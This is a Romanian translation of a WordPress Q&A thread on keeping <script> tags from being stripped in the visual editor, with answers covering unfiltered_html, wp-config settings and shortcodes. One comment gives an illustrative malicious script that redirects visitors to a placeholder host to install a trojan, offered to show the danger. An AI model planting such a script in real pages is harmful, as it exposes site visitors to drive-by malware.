Oprește Wordpress să elimine tag-urile <script> când comutați de la HTML la Visual (TinyMCE)

2 oct. 2012, 16:17:21
Vizualizări: 21.5K
Voturi: 3

Ok, am văzut soluții care rezolvă parțial această problemă, dar nimic definitiv și nimic care să rezolve 100% problema mea.

Scenariu:

  • În modul HTML, adaug JavaScript într-o postare pe care o editez.
  • Comut la Visual, apoi înapoi la HTML, iar tag-ul script și tot conținutul său dispar.

Cum pot opri acest comportament? Am încercat să adaug cod personalizat în functions.php încercând să accesez extended_valid_elements pentru TinyMCE, dar nimic nu funcționează.

Vă rog să mă ajutați!

6
Comentarii

Folosești WordPress ca instalare singulară sau în mod multisite?

Matthew Boynes Matthew Boynes
2 oct. 2012 16:25:29

Esențial, acesta este un gol de securitate major pe care încerci să-l deschizi

Tom J Nowell Tom J Nowell
2 oct. 2012 16:32:46

De ce vrei să faci asta?

Tom J Nowell Tom J Nowell
2 oct. 2012 18:55:26

Salut, motivul principal pentru care doresc să fac asta este că pe câteva site-uri pe care le administrez, adesea inserez codul Google Adsense în corpul articolelor. CPC-ul este mult mai mare în acest fel și adesea experimentez cu reclame diferite. Paginile care au codul JS Adsense sunt adesea editate în modul Vizual și este atât de enervant că trebuie să copiez și să lipesc constant codul JS înapoi când este eliminat. Apreciez preocupările legate de securitate, dar dacă accesul meu ar fi compromis, atunci s-ar deschide probleme mult mai mari decât doar problemele cu JS - însăși natura breșei ar fi o problemă masivă.

pixelkicks pixelkicks
2 oct. 2012 23:06:16

Atunci se pare că ai cerut o soluție pentru improvizația ta, întrebarea corectă de pus ar fi fost cum să adaugi Adsense în mijlocul articolelor, la care răspunsul corect ar fi fost un shortcode, și există multe disponibile, probabil unul personalizat ar fi fost postat și ai fi câștigat multă reputație pentru întrebare și mai multe insigne pentru întrebare remarcabilă. În schimb, ai întrebat cum să introduci Javascript arbitrar în conținutul postărilor, iar răspunsul pe care l-ai primit a fost că aceasta este o practică proastă și o breșă de securitate semnificativă.

Tom J Nowell Tom J Nowell
3 oct. 2012 01:44:35

Uau, domnule Nowell. Deci nu avem voie să întrebăm cum să extindem Wordpress? Nu avem voie să săpăm adânc și să vedem de ce este capabil sistemul? Cunoașterea este putere, prietene, și vreau să știu limitele, precum și abilitățile. Pot să iau propriile decizii de securitate foarte bine - și, cum am spus, în prezent sunt singura persoană cu acces de administrator la sistem. Dacă cineva ar reuși să obțină acces la detaliile mele de autentificare, ce îi împiedică să instaleze pluginuri precum PHP-Exec sau ceva similar, indiferent de abilitatea de a adăuga javascript în postare, care, în opinia mea, este mai puțin îngrijorătoare?

pixelkicks pixelkicks
3 oct. 2012 12:24:26
Arată celelalte 1 comentarii
Toate răspunsurile la întrebare 5
0

Acest lucru poate fi realizat destul de ușor prin acordarea capacității unfiltered_html rolului pe care doriți să îi permiteți utilizarea tag-urilor SCRIPT și IFRAME. Evident, așa cum au menționat și alții, există riscuri de securitate inerente, așa că fiți precaut în această privință.

Pentru a afla mai multe despre acordarea capacităților, consultați intrarea din WordPress Codex despre add_cap().

2 sept. 2016 18:39:02
10

Adăugarea de JS în conținut este o practică foarte, foarte proastă și practic inviți hackerii să atace.

Adaugă-l folosind un shortcode, sau dacă chiar trebuie, folosește un câmp personalizat (post meta/custom field) pentru a stoca JS-ul și afișează-l după conținut în template folosind echo get_post_meta($post->ID,'post_javascript',true );

2 oct. 2012 16:35:07
Comentarii

Hei Tom, cred că ar fi foarte util dacă ai putea oferi niște dovezi cu privire la de ce aceasta este o practică proastă și de ce solicită să fie hack-uit!

Matthew Boynes Matthew Boynes
2 oct. 2012 17:47:29

deoarece oricine poate introduce orice în conținutul tău, fie că e ceva care face ca hyperlink-urile tale să clipească, fie ceva care realizează un drive by download. Oricine are acces la baza ta de date sau drepturi de editare a postărilor poate folosi site-ul tău pentru a răspândi javascript malitios

Tom J Nowell Tom J Nowell
2 oct. 2012 18:54:21

De asemenea, amestecă conținutul/datelor cu funcționalitatea/controlerele și face ca conținutul tău să nu fie portabil între teme, deoarece schimbarea temelor ar strica conținutul.

Tom J Nowell Tom J Nowell
2 oct. 2012 18:55:06

ex. "Salut, acesta este primul meu articol pe blog! <script>window.location="www.hackme.com/installtrojan";</script>"

Tom J Nowell Tom J Nowell
2 oct. 2012 18:56:23

Aș argumenta că "oricine are acces la baza ta de date sau drepturi de editare a postărilor" poate să-ți strice ziua oricum, iar implementarea acestui lucru prin shortcode sau post meta nu ar face nicio diferență în ceea ce privește securitatea. De asemenea, nu văd cum shortcode-urile sau post meta ar separa conținutul/datelile de funcționalități/controlori mai mult decât ceea ce întreabă @Buckers. Cred că acesta este un comportament implicit bun pentru WordPress, nu mă înțelege greșit, dar personal nu văd niciun rău în a suprascrie acest comportament cu consimțământ informat, nici nu văd vreun avantaj de securitate sau ortogonalitate în ceea ce propui. Dar, hei, poate greșesc?

Matthew Boynes Matthew Boynes
2 oct. 2012 21:15:12

Cu un shortcode nu pot introduce orice cod JS, ci doar codul JS pe care intenționezi să-l permiți, deoarece pentru a adăuga cod JS nou aș avea nevoie de acces la fișierele PHP care implementează acel shortcode. Din același motiv, introducerea de PHP în conținutul postărilor este o practică de securitate execrabilă, dar asta nu înseamnă că nu poți folosi PHP pentru a implementa shortcode-uri (nu susțin implementarea de shortcode-uri de genul [js][/js] deloc, acelea sunt la fel de rele).

Tom J Nowell Tom J Nowell
2 oct. 2012 21:41:34

De asemenea, încă nu știm de ce OP dorește asta

Tom J Nowell Tom J Nowell
2 oct. 2012 21:42:31

Ah, scuze, am interpretat greșit sugestia ta. Te înțeleg acum; vorbești despre folosirea shortcode-urilor sau a meta datelor articolului pentru a colecta parametri, nu a JS în sine, de exemplu specificând un ID, URL-ul unei imagini, orice. Ai dreptate, răspunsul se schimbă radical în funcție de ceea ce @Buckers încearcă să realizeze!

Matthew Boynes Matthew Boynes
2 oct. 2012 22:32:27

Am răspuns la postarea mea inițială de mai sus cu cerința mea principală pentru asta. În prezent, sunt singurul cu acces de administrator la site. Indiferent de preocupările legate de securitate, aș dori doar să știu dacă este posibil să fac asta - iar privind acest răspuns, se pare că ar putea fi posibil.

pixelkicks pixelkicks
2 oct. 2012 23:08:52

Este posibil, în același mod în care ai putea să-ți conduci mașina prin explozii direcționate din spate care să o împingă înainte, sau să lași pachete mai mari să intre prin cutia poștală dacă înlături ușa de la intrare. Dacă cauți o metodă simplă de a introduce coduri arbitrare AdSense în conținut, există modalități mult mai bune de a face asta. Caută o soluție pentru problema ta, nu o remediere pentru soluția ta defectuoasă.

Tom J Nowell Tom J Nowell
3 oct. 2012 01:48:20
Arată celelalte 5 comentarii
9

Fără a modifica codul PHP al șabloanelor, puteți rezolva problema menționată de OP - precum și problema în care pe un site multisite nimeni altcineva în afară de super-administrator nu primește capabilitatea unfiltered_html menționată de @Tom Auger - prin instalarea plugin-ului "Shortcoder". Acesta vă permite să creați "scurtcoduri personalizate" care pur și simplu afișează un text. Acesta poate fi orice - inclusiv Javascript.

Eu creez un "scurtcod personalizat" pentru fiecare fragment de cod de care am nevoie (de obicei unul pentru fiecare cod personalizat distinct al unei pagini) și apoi editorul vizual vede scurtcodul și nu îl elimină.

De asemenea, este excelent pentru reutilizarea codului Javascript, dacă aveți mai multe pagini care necesită același (sau un cod similar).

9 mar. 2017 18:39:24
Comentarii

pare foarte nesigur pe multisite (orice permite introducerea de HTML nefiltrat este) și, în orice caz, nu pare să mai fie susținut de autor

Mark Kaplun Mark Kaplun
9 mar. 2017 19:43:47

@MarkKaplun - Nu sunt sigur de ce spui că plugin-ul nu este susținut. Nu a fost actualizat recent, dar probabil asta se întâmplă pentru că autorul este ocupat cu alte lucruri (vezi postările sale pe alte forumuri). Oricum, funcționează bine pe versiunea 4.7.

Guss Guss
9 mar. 2017 19:48:09

Referitor la problema de securitate - tot văd răspunsuri pe acest site care spun "nu este sigur să faci asta sau aia, așa că nu o face". Cred că cei care răspund ar trebui să înceteze să își impună modelul de securitate altor utilizatori. Dacă administratorul a decis să instaleze un plugin și să îl facă disponibil, aș presupune că a luat în considerare implicațiile de securitate. Pe configurația mea WPMS, toți utilizatorii sunt de încredere (îi creez manual), așa că dacă aleg să fac plugin-ul Shortcoder disponibil, este pentru că am analizat considerațiile de securitate și acestea sunt acceptabile. Mă aștept ca majoritatea instalărilor WPMS să fie în aceeași categorie.

Guss Guss
9 mar. 2017 19:50:51

99,9% dintre utilizatorii WordPress nu au nici o înțelegere a implicațiilor de securitate ale acțiunilor lor. Utilizatorii nu sunt niciodată de încredere, problema este că o vei descoperi doar după fapt, când va fi extrem de greu să te recuperezi.

Mark Kaplun Mark Kaplun
9 mar. 2017 20:12:37

În ceea ce privește plugin-ul, dacă autorul nu se obosește să actualizeze fișierul readme pentru a indica că ar trebui să funcționeze pe o versiune lansată acum 3 luni, acesta este un bun indiciu că și-a pierdut interesul pentru plugin.

Mark Kaplun Mark Kaplun
9 mar. 2017 20:14:31

Deoarece WPMS este atât de greu de instalat (trebuie să editezi fișiere de configurare non-triviale), aș fi tentat să susțin că nivelul administratorilor WPMS este oarecum mai ridicat decât al editorului WordPress obișnuit. Cel mult poți explica implicațiile de securitate (care, apropo, nu ai explicat de ce consideri că Shortcoder este o problemă pe multisites). În ceea ce privește problema suportului - cred că a lua ceea ce ai spus ca un indiciu este puțin exagerat - eu personal susțin câteva plugin-uri WordPress, de obicei nu am timp să le testez pe ultima versiune WordPress pentru fiecare lansare, sau uneori nici măcar o dată pe an.

Guss Guss
9 mar. 2017 20:17:32

și doar pentru a înțelege de ce utilizatorii nu sunt de încredere, chiar dacă îi cunoști personal... Ești sigur că nu folosesc "123456" ca parolă? Îți permiți să lași nepotul lor să folosească computerul, etc.? Nu limitezi utilizatorii pentru că ar putea fi oameni răi, îi limitezi pentru a reduce vectorii unei breșe de securitate care va avea un impact mai mare decât doar contul lor

Mark Kaplun Mark Kaplun
9 mar. 2017 20:18:00

continuăm această discuție în chat.

Guss Guss
9 mar. 2017 20:18:41

Pentru mine unfiltered_html a rezolvat problema. Mulțumesc.

ako ako
16 nov. 2020 13:58:47
Arată celelalte 4 comentarii
0

Începând cu 2024, puteți permite HTML nefiltrat în wp-config.php setând DISALLOW_UNFILTERED_HTML la false astfel:

define( 'DISALLOW_UNFILTERED_HTML', false );

Referitor la aspectele de securitate: Activarea HTML-ului nefiltrat prin setarea DISALLOW_UNFILTERED_HTML la false necesită încredere în administratorii dvs. și conștientizarea securității, deoarece le permite să insereze cod potențial dăunător. Cu toate acestea, dacă un hacker obține acces la WordPress-ul dvs., implicațiile de securitate sunt grave indiferent de această setare.

21 feb. 2024 12:50:16
0

Există și o soluție pentru cei care folosesc pluginul Elementor și nu doresc să instaleze pluginuri suplimentare:

  1. Din meniul de administrare, accesați Templates > Add New
  2. Alegeți "Container" ca tip de șablon și denumiți-l în mod convenabil pentru a-l recunoaște ulterior în cazul editărilor (dacă este necesar).
  3. Pe ecranul editorului Elementor, faceți clic pe semnul + pentru a adăuga un container și introduceți un widget de tip HTML code în interiorul acestuia.
  4. Lipiți scriptul în caseta HTML. (Rețineți că acesta trebuie să fie înconjurat de tag-urile <script></script>)
  5. Salvați și ieșiți înapoi la lista de containere. (Templates > Saved Templates > Containers)
  6. Localizați șablonul nou creat și copiați shortcode-ul din caseta din fața acestuia.
  7. Lipiți acest shortcode în orice editor de text și bucurați-vă de rezultat.
9 ian. 2024 13:33:29